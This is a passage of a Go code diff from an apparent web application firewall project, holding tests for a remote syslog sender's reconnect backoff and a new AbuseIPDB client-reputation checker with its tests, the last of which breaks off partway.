+func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
+	t.Parallel()
+
+	certificate, roots := testCertificate(t)
+	endpoint := startTLSEndpoint(t, certificate)
+
+	synctest.Test(t, func(t *testing.T) {
+		endpointParams := params(remotelog.SchemeTLS, endpoint.addr)
+		endpointParams.RootCAs = roots
+		sender, logged, _ := run(t, endpointParams)
+
+		_, _ = sender.Write([]byte("one\n"))
+
+		synctest.Wait()
+		wantCounts(t, sender, 1, 0, 0)
+
+		conn := endpoint.next(t)
+		wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "one"))
+
+		// The endpoint goes away: it closes the connection, and refuses the
+		// next ones. The sender notices when a record fails, and tries to
+		// connect again a second later, then two seconds after that.
+		endpoint.refusing.Store(true)
+
+		_ = conn.Close()
+
+		writeUntilDropped(t, sender, 1)
+		sent := sender.Sent()
+
+		_, _ = sender.Write([]byte("two\n"))
+
+		time.Sleep(time.Second)
+		synctest.Wait()
+
+		endpoint.refusing.Store(false)
+
+		time.Sleep(2*time.Second - time.Nanosecond)
+		synctest.Wait()
+		wantCounts(t, sender, sent, 1, 1)
+
+		// The endpoint is back, and the record waiting is sent.
+		time.Sleep(time.Nanosecond)
+		synctest.Wait()
+		wantCounts(t, sender, sent+1, 1, 0)
+
+		conn = endpoint.next(t)
+		wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "two"))
+		wantRetries(t, logged, "1s", "2s")
+	})
+}
+
+func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		endpoint := listen(t)
+		sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
+
+		// The endpoint closes each connection as soon as it takes it. The
+		// sender notices when a record fails, and connects again a second
+		// later, then two seconds after that, then four.
+		delays := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second}
+		for i, delay := range delays {
+			_ = accept(t, endpoint).Close()
+
+			writeUntilDropped(t, sender, int64(i+1))
+			wantConnectedAgainAfter(t, sender, delay)
+		}
+
+		wantRetries(t, logged, "1s", "2s", "4s")
+	})
+}
+
+func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		endpoint := listen(t)
+		sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
+
+		_ = accept(t, endpoint).Close()
+
+		writeUntilDropped(t, sender, 1)
+		wantConnectedAgainAfter(t, sender, time.Second)
+
+		// A connection that fails just short of a minute after it was made
+		// leaves the delay growing.
+		conn := accept(t, endpoint)
+
+		time.Sleep(time.Minute - time.Nanosecond)
+
+		_ = conn.Close()
+
+		writeUntilDropped(t, sender, 2)
+		wantConnectedAgainAfter(t, sender, 2*time.Second)
+
+		// One that fails a minute after it was made starts it again from a
+		// second.
+		conn = accept(t, endpoint)
+
+		time.Sleep(time.Minute)
+
+		_ = conn.Close()
+
+		writeUntilDropped(t, sender, 3)
+		wantConnectedAgainAfter(t, sender, time.Second)
+		wantRetries(t, logged, "1s", "2s", "1s")
+	})
+}
+
+func TestALineTooLongForADatagramIsDroppedAlone(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
+		if err != nil {
+			t.Fatalf("listen: %v", err)
+		}
+
+		t.Cleanup(func() { _ = endpoint.Close() })
+
+		sender, logged, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
+
+		// With its header, the first line's record is longer than the 65507
+		// bytes a UDP datagram over IPv4 holds. It is dropped, nothing is
+		// logged, and the next line is sent at once.
+		_, _ = sender.Write([]byte(strings.Repeat("x", 65507) + "\nnext\n"))
+
+		synctest.Wait()
+		wantCounts(t, sender, 1, 1, 0)
+		wantRetries(t, logged)
+
+		datagram := make([]byte, 1024)
+
+		n, _, err := endpoint.ReadFrom(datagram)
+		if err != nil {
+			t.Fatalf("read: %v", err)
+		}
+
+		want := record(t, local0Info, appName, "next")
+		if string(datagram[:n]) != want {
+			t.Errorf("datagram %q, want %q", datagram[:n], want)
+		}
+	})
+}
+
+func TestRecordsWaitingAtTheStopAreSent(t *testing.T) {
+	t.Parallel()
+
+	certificate, roots := testCertificate(t)
+	endpoint := startTLSEndpoint(t, certificate)
+
+	synctest.Test(t, func(t *testing.T) {
+		// The endpoint refuses the sender's first connection: it fails to
+		// connect, and waits a second to try again.
+		endpoint.refusing.Store(true)
+
+		endpointParams := params(remotelog.SchemeTLS, endpoint.addr)
+		endpointParams.RootCAs = roots
+		sender, logged, stop := run(t, endpointParams)
+
+		synctest.Wait()
+		wantRetries(t, logged, "1s")
+
+		_, _ = sender.Write([]byte("one\ntwo\n"))
+
+		endpoint.refusing.Store(false)
+
+		// Stopped before that second is over, it connects to send them.
+		stop()
+		wantCounts(t, sender, 2, 0, 0)
+
+		frames := bufio.NewReader(endpoint.next(t))
+		wantFrame(t, frames, record(t, local0Info, appName, "one"))
+		wantFrame(t, frames, record(t, local0Info, appName, "two"))
+	})
+}
+
+// output collects what the sender logs.
+type output struct {
+	mu  sync.Mutex
+	buf bytes.Buffer
+}
+
+// Write adds lines the sender logs.
+func (o *output) Write(p []byte) (int, error) {
+	o.mu.Lock()
+	defer o.mu.Unlock()
+
+	return o.buf.Write(p)
+}
+
+// text returns everything logged so far.
+func (o *output) text() string {
+	o.mu.Lock()
+	defer o.mu.Unlock()
+
+	return o.buf.String()
+}
+
+// params returns the settings of a Sender for the endpoint at addr, in
+// the form scheme names: room for ten lines, the default facility, and
+// appName.
+func params(scheme string, addr net.Addr) remotelog.Params {
+	return remotelog.Params{
+		URL:      &url.URL{Scheme: scheme, Host: addr.String()},
+		Buffer:   10,
+		Facility: local0,
+		AppName:  appName,
+	}
+}
+
+// run runs a Sender with settings until the test ends or the function
+// it returns is called, which waits for Run to return. It returns the
+// Sender, and what it logs.
+func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, func()) {
+	t.Helper()
+
+	sender := remotelog.New(settings)
+	logged := &output{}
+	ctx, cancel := context.WithCancel(t.Context())
+	ran := make(chan struct{})
+
+	go func() {
+		sender.Run(ctx, slog.New(slog.NewJSONHandler(logged, nil)))
+		close(ran)
+	}()
+
+	stop := func() {
+		cancel()
+		<-ran
+	}
+	t.Cleanup(stop)
+
+	return sender, logged, stop
+}
+
+// listen returns a TCP listener on the loopback address, closed when the
+// test ends.
+func listen(t *testing.T) net.Listener {
+	t.Helper()
+
+	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", loopback)
+	if err != nil {
+		t.Fatalf("listen: %v", err)
+	}
+
+	t.Cleanup(func() { _ = listener.Close() })
+
+	return listener
+}
+
+// accept returns the next connection to listener, closed when the test
+// ends.
+func accept(t *testing.T, listener net.Listener) net.Conn {
+	t.Helper()
+
+	conn, err := listener.Accept()
+	if err != nil {
+		t.Fatalf("accept: %v", err)
+	}
+
+	t.Cleanup(func() { _ = conn.Close() })
+
+	return conn
+}
+
+// tlsEndpoint is a syslog+tls endpoint on the loopback address, which a
+// test starts outside its bubble. It keeps its listener until the test
+// ends, and either takes each connection or refuses it.
+type tlsEndpoint struct {
+	addr net.Addr
+	// refusing is set while the endpoint closes each connection before the
+	// TLS handshake, which fails the sender's attempt to connect.
+	refusing atomic.Bool
+	// conns are the connections it has taken, after the handshake.
+	conns chan net.Conn
+}
+
+// startTLSEndpoint starts a tlsEndpoint with certificate, which takes
+// connections until it is told to refuse them.
+func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
+	t.Helper()
+
+	listener := listen(t)
+	endpoint := &tlsEndpoint{addr: listener.Addr(), conns: make(chan net.Conn, 10)}
+	config := &tls.Config{
+		Certificates: []tls.Certificate{certificate},
+		MinVersion:   tls.VersionTLS12,
+	}
+
+	go func() {
+		for {
+			conn, err := listener.Accept()
+			if err != nil {
+				return
+			}
+
+			server := tls.Server(conn, config)
+			if endpoint.refusing.Load() || server.HandshakeContext(t.Context()) != nil {
+				_ = conn.Close()
+
+				continue
+			}
+
+			endpoint.conns <- server
+		}
+	}()
+
+	return endpoint
+}
+
+// next returns the next connection the endpoint has taken, closed when
+// the test ends.
+func (e *tlsEndpoint) next(t *testing.T) net.Conn {
+	t.Helper()
+
+	conn := <-e.conns
+
+	t.Cleanup(func() { _ = conn.Close() })
+
+	return conn
+}
+
+// record returns the record of line made as the test started, with the
+// priority and the app name given.
+func record(t *testing.T, priority, app, line string) string {
+	t.Helper()
+
+	hostname, err := os.Hostname()
+	if err != nil || hostname == "" {
+		hostname = "-"
+	}
+
+	return priority + "1 " + started + " " + hostname + " " + app + " - - - " + line
+}
+
+// wantFrame reads the next octet-counted frame from frames, and checks
+// that it holds want.
+func wantFrame(t *testing.T, frames *bufio.Reader, want string) {
+	t.Helper()
+
+	count, err := frames.ReadString(' ')
+	if err != nil {
+		t.Fatalf("read a frame's length: %v", err)
+	}
+
+	length, err := strconv.Atoi(strings.TrimSuffix(count, " "))
+	if err != nil {
+		t.Fatalf("frame starts %q, not with its length", count)
+	}
+
+	got := make([]byte, length)
+
+	_, err = io.ReadFull(frames, got)
+	if err != nil {
+		t.Fatalf("read a frame: %v", err)
+	}
+
+	if string(got) != want {
+		t.Errorf("frame %q, want %q", got, want)
+	}
+}
+
+// wantCounts checks the records sender has sent, dropped and holds in
+// its buffer.
+func wantCounts(
+	t *testing.T, sender *remotelog.Sender, sent, dropped int64, depth int,
+) {
+	t.Helper()
+
+	if sender.Sent() != sent || sender.Dropped() != dropped || sender.Depth() != depth {
+		t.Fatalf("sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
+			sender.Sent(), sender.Dropped(), sender.Depth(), sent, dropped, depth)
+	}
+}
+
+// writeUntilDropped writes a line at a time until the count of records
+// sender has dropped reaches dropped. The records it sends on a
+// connection the endpoint has closed are lost before one fails; how many
+// depends on when the endpoint's host answers that the connection is
+// gone.
+func writeUntilDropped(t *testing.T, sender *remotelog.Sender, dropped int64) {
+	t.Helper()
+
+	for sender.Dropped() < dropped {
+		_, _ = sender.Write([]byte("lost\n"))
+
+		synctest.Wait()
+	}
+}
+
+// wantConnectedAgainAfter writes a line while the sender waits to connect
+// again, and checks that it connects, and takes the line from the buffer,
+// only once delay is over.
+func wantConnectedAgainAfter(
+	t *testing.T, sender *remotelog.Sender, delay time.Duration,
+) {
+	t.Helper()
+
+	_, _ = sender.Write([]byte("waiting\n"))
+
+	time.Sleep(delay - time.Nanosecond)
+	synctest.Wait()
+
+	if sender.Depth() != 1 {
+		t.Fatalf("connected again before %v", delay)
+	}
+
+	time.Sleep(time.Nanosecond)
+	synctest.Wait()
+
+	if sender.Depth() != 0 {
+		t.Fatalf("not connected again after %v", delay)
+	}
+}
+
+// wantRetries checks that the sender logged a failure, of an attempt to
+// connect or of a connection, for each of delays, the time until the next
+// attempt, in order, and logged nothing else.
+func wantRetries(t *testing.T, logged *output, delays ...string) {
+	t.Helper()
+
+	var got []string
+
+	for line := range strings.Lines(logged.text()) {
+		var fields map[string]any
+
+		err := json.Unmarshal([]byte(line), &fields)
+		if err != nil || fields["msg"] != "sending to SWWAF_LOG_REMOTE_URL failed" {
+			t.Fatalf("logged %q", line)
+		}
+
+		delay, _ := fields["connecting_again_in"].(string)
+		got = append(got, delay)
+	}
+
+	if !slices.Equal(got, delays) {
+		t.Errorf("logged failures to connect again in %v, want %v", got, delays)
+	}
+}
+
+// testCertificate returns a certificate for 127.0.0.1 that is its own
+// CA, and a pool that holds it. It is valid on the bubble's clock, which
+// starts at 2000-01-01T00:00:00Z.
+func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
+	t.Helper()
+
+	key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
+	if err != nil {
+		t.Fatalf("generate a key: %v", err)
+	}
+
+	template := &x509.Certificate{
+		SerialNumber:          big.NewInt(1),
+		Subject:               pkix.Name{CommonName: "smallwebwaf test CA"},
+		NotBefore:             time.Date(1999, 12, 31, 0, 0, 0, 0, time.UTC),
+		NotAfter:              time.Date(2000, 1, 2, 0, 0, 0, 0, time.UTC),
+		IsCA:                  true,
+		BasicConstraintsValid: true,
+		KeyUsage:              x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
+		ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
+		IPAddresses:           []net.IP{net.IPv4(127, 0, 0, 1)},
+	}
+
+	der, err := x509.CreateCertificate(rand.Reader, template, template,
+		&key.PublicKey, key)
+	if err != nil {
+		t.Fatalf("create a certificate: %v", err)
+	}
+
+	certificate, err := x509.ParseCertificate(der)
+	if err != nil {
+		t.Fatalf("parse the certificate: %v", err)
+	}
+
+	roots := x509.NewCertPool()
+	roots.AddCert(certificate)
+
+	return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}, roots
+}

internal/reputation/abuseipdb.go

@@ -0,0 +1,328 @@
+package reputation
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"log/slog"
+	"net/http"
+	"net/netip"
+	"net/url"
+	"slices"
+	"sync"
+	"time"
+
+	"github.com/hashicorp/golang-lru/v2/simplelru"
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+)
+
+const (
+	// AbuseIPDBURL is where clients are checked: the check endpoint of
+	// AbuseIPDB's API.
+	AbuseIPDBURL = "https://api.abuseipdb.com/api/v2/check"
+	// AbuseIPDBSource is how the request log, the alerts and the metrics
+	// name AbuseIPDB.
+	AbuseIPDBSource = "abuseipdb"
+	// maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
+	maxAnswerBytes = 64 << 10
+	// day is the length of the day the checks are counted in, in UTC.
+	day = 24 * time.Hour
+)
+
+var (
+	errNoScore      = errors.New("the answer gives no abuseConfidenceScore")
+	errBudgetUsedUp = errors.New(
+		"checks spent; none is made until the day ends at 00:00 UTC")
+)
+
+// Score is what AbuseIPDB said about a client, as reputation.json holds
+// it: the client, an IPv4 address or an IPv6 group, its abuse confidence
+// score, from 0 to 100, and when AbuseIPDB answered.
+type Score struct {
+	Client  netip.Prefix `json:"client"`
+	Score   int64        `json:"score"`
+	Fetched time.Time    `json:"fetched"`
+}
+
+// Checks are what reputation.json keeps of the checks of clients with
+// AbuseIPDB: the day, in UTC, of the checks Spent counts, zero before the
+// first, and the scores still in use.
+type Checks struct {
+	Day    time.Time `json:"day,omitzero"`
+	Spent  int       `json:"spent"`
+	Scores []Score   `json:"scores"`
+}
+
+// AbuseIPDBParams are what NewAbuseIPDB needs.
+type AbuseIPDBParams struct {
+	// URL is where clients are checked, normally AbuseIPDBURL, with Key,
+	// the account's key (SWWAF_ABUSEIPDB_KEY).
+	URL string
+	Key string
+	// MinScore is the least score that is a hit (SWWAF_ABUSEIPDB_MIN_SCORE),
+	// and DailyBudget the most checks made in a day, in UTC
+	// (SWWAF_ABUSEIPDB_DAILY_BUDGET).
+	MinScore    int64
+	DailyBudget int
+	// CacheTTL is how long a score is used after it was fetched
+	// (SWWAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
+	// (SWWAF_REPUTATION_TIMEOUT).
+	CacheTTL time.Duration
+	Timeout  time.Duration
+	// Now tells the time, normally time.Now in UTC.
+	Now func() time.Time
+	// ProcessLog receives each check that fails, and why, and the day's
+	// budget used up.
+	ProcessLog *slog.Logger
+	// Alerts receive a source_failure alert for each.
+	Alerts *alerts.Queue
+}
+
+// AbuseIPDB checks clients with AbuseIPDB, in the background, and keeps
+// their scores. It is safe for concurrent use.
+type AbuseIPDB struct {
+	params     AbuseIPDBParams
+	httpClient *http.Client
+
+	mu sync.Mutex
+	// scores are by client. Each is added as it is fetched and never moved
+	// up, so that the one fetched longest ago is the first dropped.
+	scores *simplelru.LRU[netip.Prefix, Score]
+	// checking are the clients whose check is under way.
+	checking map[netip.Prefix]bool
+	// day is the day, in UTC, of the checks spent counts.
+	day   time.Time
+	spent int
+	// checks and failures count the checks made and those that failed,
+	// and retryAt is when a client may be checked again after the last
+	// check failed.
+	checks   int
+	failures int
+	retryAt  time.Time
+}
+
+// NewAbuseIPDB returns an AbuseIPDB with no score yet, and no check spent.
+func NewAbuseIPDB(params AbuseIPDBParams) *AbuseIPDB {
+	scores, err := simplelru.NewLRU[netip.Prefix, Score](maxVerdicts, nil)
+	if err != nil {
+		panic(err) // NewLRU fails only for a size below one
+	}
+
+	return &AbuseIPDB{
+		params:     params,
+		httpClient: &http.Client{},
+		scores:     scores,
+		checking:   map[netip.Prefix]bool{},
+	}
+}
+
+// Hit returns AbuseIPDB's score of client, an IPv4 address or an IPv6
+// group, and whether it is a hit: MinScore or more. A score is used until
+// CacheTTL has passed since it was fetched, whichever of the client's
+// addresses its request comes from. A client without one is checked in
+// the background, by addr, the address its request came from, if
+// offender, if it has committed an offence, unless its check is under
+// way, a check failed less than failureDelay ago, or the day's checks
+// have used up DailyBudget; Hit never waits for a check. The check that
+// uses the budget up is logged and raised as a source_failure alert. ctx
+// is the context of the client's request, and a check goes on after the
+// request ends.
+func (a *AbuseIPDB) Hit(
+	ctx context.Context, client netip.Prefix, addr netip.Addr, offender bool,
+) (int64, bool) {
+	a.mu.Lock()
+
+	now := a.params.Now()
+
+	kept, found := a.scores.Peek(client)
+	if found && now.Sub(kept.Fetched) < a.params.CacheTTL {
+		a.mu.Unlock()
+
+		return kept.Score, kept.Score >= a.params.MinScore
+	}
+
+	if today := now.Truncate(day); !a.day.Equal(today) {
+		a.day, a.spent = today, 0
+	}
+
+	check := offender && !a.checking[client] && !now.Before(a.retryAt) &&
+		a.spent < a.params.DailyBudget
+	if check {
+		a.checking[client] = true
+		a.checks++
+		a.spent++
+
+		go a.check(context.WithoutCancel(ctx), client, addr)
+	}
+
+	usedUp := check && a.spent == a.params.DailyBudget
+
+	a.mu.Unlock()
+
+	if usedUp {
+		a.alert("the daily budget of AbuseIPDB checks is used up",
+			fmt.Errorf("%d %w", a.params.DailyBudget, errBudgetUsedUp))
+	}
+
+	return 0, false
+}
+
+// Checked returns how many checks were made.
+func (a *AbuseIPDB) Checked() int {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	return a.checks
+}
+
+// Failures returns how many checks failed.
+func (a *AbuseIPDB) Failures() int {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	return a.failures
+}
+
+// BudgetLeft returns how many checks the day's budget has left.
+func (a *AbuseIPDB) BudgetLeft() int {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	if !a.day.Equal(a.params.Now().Truncate(day)) {
+		return a.params.DailyBudget
+	}
+
+	return max(a.params.DailyBudget-a.spent, 0)
+}
+
+// Snapshot returns the checks spent and every score still in use, sorted
+// by client, as reputation.json keeps them.
+func (a *AbuseIPDB) Snapshot() Checks {
+	a.mu.Lock()
+
+	now := a.params.Now()
+	checks := Checks{Day: a.day, Spent: a.spent, Scores: make([]Score, 0, a.scores.Len())}
+
+	for _, kept := range a.scores.Values() {
+		if now.Sub(kept.Fetched) < a.params.CacheTTL {
+			checks.Scores = append(checks.Scores, kept)
+		}
+	}
+
+	a.mu.Unlock()
+
+	slices.SortFunc(checks.Scores, func(x, y Score) int {
+		return x.Client.Compare(y.Client)
+	})
+
+	return checks
+}
+
+// Load keeps checks, read from reputation.json, in place of those it
+// keeps, but for the scores past maxVerdicts, those fetched longest ago.
+// One fetched CacheTTL ago or more is neither used nor written, as for any
+// score.
+func (a *AbuseIPDB) Load(checks Checks) {
+	scores := slices.Clone(checks.Scores)
+	slices.SortStableFunc(scores, func(x, y Score) int {
+		return x.Fetched.Compare(y.Fetched)
+	})
+
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	a.day, a.spent = checks.Day, checks.Spent
+	a.scores.Purge()
+
+	for _, kept := range scores {
+		a.scores.Add(kept.Client, kept)
+	}
+}
+
+// check checks client with AbuseIPDB by addr, one of its addresses, keeps
+// the score as client's, and notes the check as no longer under way. A
+// check that fails gives no score: it is counted, logged and raised as a
+// source_failure alert, and no client is checked for failureDelay.
+func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) {
+	score, err := a.ask(ctx, addr)
+	now := a.params.Now()
+
+	a.mu.Lock()
+
+	delete(a.checking, client)
+
+	if err == nil {
+		a.scores.Add(client, Score{Client: client, Score: score, Fetched: now})
+	} else {
+		a.failures++
+		a.retryAt = now.Add(failureDelay)
+	}
+
+	a.mu.Unlock()
+
+	if err != nil {
+		a.alert("checking a client with AbuseIPDB failed", err)
+	}
+}
+
+// ask asks AbuseIPDB for addr's abuse confidence score, sending the key
+// in the header Key. An answer other than 200, one that gives no score,
+// and none within Timeout, fail.
+func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
+	ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
+	defer cancel()
+
+	query := url.Values{"ipAddress": {addr.String()}}
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet,
+		a.params.URL+"?"+query.Encode(), http.NoBody)
+	if err != nil {
+		return 0, fmt.Errorf("make the request: %w", err)
+	}
+
+	req.Header.Set("Key", a.params.Key)
+	req.Header.Set("Accept", "application/json")
+
+	res, err := a.httpClient.Do(req)
+	if err != nil {
+		// Do's error names the URL, which holds the client's address, which
+		// is not to be logged: only what went wrong is kept.
+		return 0, fmt.Errorf("check the client: %w", errors.Unwrap(err))
+	}
+
+	defer func() {
+		_ = res.Body.Close()
+	}()
+
+	if res.StatusCode != http.StatusOK {
+		return 0, fmt.Errorf("%w %s", errStatus, res.Status)
+	}
+
+	var answer struct {
+		Data struct {
+			AbuseConfidenceScore *int64 `json:"abuseConfidenceScore"`
+		} `json:"data"`
+	}
+
+	err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer)
+	if err != nil {
+		return 0, fmt.Errorf("read the answer: %w", err)
+	}
+
+	if answer.Data.AbuseConfidenceScore == nil {
+		return 0, errNoScore
+	}
+
+	return *answer.Data.AbuseConfidenceScore, nil
+}
+
+// alert raises a source_failure alert from AbuseIPDB with reason and err,
+// and logs them.
+func (a *AbuseIPDB) alert(reason string, err error) {
+	// Raised before it is logged, so that the alert is there once the log
+	// line is.
+	raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
+	a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error())
+}

internal/reputation/abuseipdb_test.go

@@ -0,0 +1,663 @@
+package reputation_test
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"io"
+	"log/slog"
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"reflect"
+	"slices"
+	"strings"
+	"sync"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/metrics"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+)
+
+// The tests of AbuseIPDB run in synctest bubbles, as those of the lists
+// do, and AbuseIPDB is a stand-in reached without the network, for the
+// same reason. A bubble's clock starts at midnight UTC, as a day the
+// checks are counted in starts.
+
+const (
+	// key is the account's key the tests give, the only one the stand-in
+	// takes.
+	key = "abuseipdb-key-0123456789abcdef"
+	// suspect and other are clients that have committed an offence.
+	suspect = "203.0.113.9"
+	other   = "2001:db8::9"
+)
+
+func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
+
+		// A client that has committed no offence is not checked.
+		wantScore(t, checker, suspect, false, 0, false)
+		synctest.Wait()
+		wantChecked(t, abuseIPDB)
+
+		// An offender is, and from then on its score is used, whether or not
+		// it is an offender.
+		wantScore(t, checker, suspect, true, 0, false)
+		synctest.Wait()
+		wantScore(t, checker, suspect, true, 100, true)
+		wantScore(t, checker, suspect, false, 100, true)
+		synctest.Wait()
+		wantChecked(t, abuseIPDB, suspect)
+	})
+}
+
+func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		// 15 addresses of 2001:db8:1:2::/64, one client, each in a part of
+		// it of its own.
+		var addresses []string
+		for i := 1; i < 16; i++ {
+			addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
+		}
+
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}}
+		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
+
+		// A request from each has the client checked once, by the first.
+		for _, address := range addresses {
+			hitFrom(t, checker, address, true)
+		}
+
+		synctest.Wait()
+		wantChecked(t, abuseIPDB, addresses[0])
+
+		// Its score is the whole client's.
+		for _, address := range addresses {
+			wantScore(t, checker, address, true, 100, true)
+		}
+
+		synctest.Wait()
+		wantChecked(t, abuseIPDB, addresses[0])
+	})
+}
+
+func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100}
+		p := abuseIPDBParams()
+		p.MinScore = 75
+		checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
+
+		for client := range scores {
+			hitFrom(t, checker, client, true)
+		}
+
+		synctest.Wait()
+
+		for client, score := range scores {
+			wantScore(t, checker, client, true, score, score >= 75)
+		}
+	})
+}
+
+func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
+
+		hitFrom(t, checker, suspect, true)
+		synctest.Wait()
+
+		// AbuseIPDB gives another score from now on, but the one kept is
+		// used, and the client is not checked again, until the TTL has
+		// passed.
+		abuseIPDB.setScore(suspect, 80)
+		time.Sleep(cacheTTL - time.Nanosecond)
+		wantScore(t, checker, suspect, true, 100, true)
+		synctest.Wait()
+		wantChecked(t, abuseIPDB, suspect)
+
+		// Then it is not used, and the client is checked again.
+		time.Sleep(time.Nanosecond)
+		wantScore(t, checker, suspect, true, 0, false)
+		synctest.Wait()
+		wantScore(t, checker, suspect, true, 80, true)
+		wantChecked(t, abuseIPDB, suspect, suspect)
+	})
+}
+
+func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		var log bytes.Buffer
+
+		queue := newQueue()
+		p := abuseIPDBParams()
+		p.DailyBudget = 3
+		p.Alerts = queue
+		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		checker := newAbuseIPDB(abuseIPDB, p)
+
+		// At noon, the first three offenders spend the budget, and the
+		// fourth, unchecked, is not.
+		time.Sleep(12 * time.Hour)
+
+		const unchecked = "192.0.2.4"
+
+		clients := []string{suspect, "192.0.2.2", "192.0.2.3", unchecked}
+		for _, client := range clients {
+			hitFrom(t, checker, client, true)
+		}
+
+		synctest.Wait()
+		wantChecked(t, abuseIPDB, clients[:3]...)
+		wantBudgetLeft(t, checker, 0)
+
+		// The check that used the budget up raised the alert, and logged it.
+		const usedUp = "the daily budget of AbuseIPDB checks is used up"
+
+		wantFailureAlert(t, queue, time.Now(), usedUp,
+			"3 checks spent; none is made until the day ends at 00:00 UTC", 0)
+
+		if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
+			t.Errorf("logged\n%s\nwant the budget used up", log.String())
+		}
+
+		// Restarted with what reputation.json keeps, it uses the scores, and
+		// checks no client until the day ends.
+		restarted := &abuseIPDBStandIn{}
+		again := newAbuseIPDB(restarted, p)
+		again.Load(checker.Snapshot())
+
+		wantScore(t, again, suspect, true, 100, true)
+		wantBudgetLeft(t, again, 0)
+		time.Sleep(12*time.Hour - time.Nanosecond)
+		wantScore(t, again, unchecked, true, 0, false)
+		synctest.Wait()
+		wantChecked(t, restarted)
+
+		// At midnight the budget is whole again.
+		time.Sleep(time.Nanosecond)
+		wantBudgetLeft(t, again, 3)
+		wantScore(t, again, unchecked, true, 0, false)
+		synctest.Wait()
+		wantChecked(t, restarted, unchecked)
+		wantBudgetLeft(t, again, 2)
+	})
+}
+
+func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		// key is the key sent, status and body what AbuseIPDB answers with,
+		// and error the failure.
+		key, body string
+		status    int
+		error     string
+	}{
+		{
+			"a refusal, past AbuseIPDB's own limit", key,
+			`{"errors":[{"detail":"Daily rate limit of 1000 requests exceeded"}]}`,
+			http.StatusTooManyRequests, "the server answered 429 Too Many Requests",
+		},
+		{
+			"a refusal of a wrong key", "wrong-key-0123456789abcdef", "", 0,
+			"the server answered 401 Unauthorized",
+		},
+		{
+			"a server failure", key, "", http.StatusInternalServerError,
+			"the server answered 500 Internal Server Error",
+		},
+		{
+			"an answer without a score", key, `{"data":{"ipAddress":"` + suspect + `"}}`,
+			http.StatusOK, "the answer gives no abuseConfidenceScore",
+		},
+		{
+			"an answer that is not JSON", key, "<html>", http.StatusOK,
+			"read the answer: invalid character '<' looking for beginning of value",
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
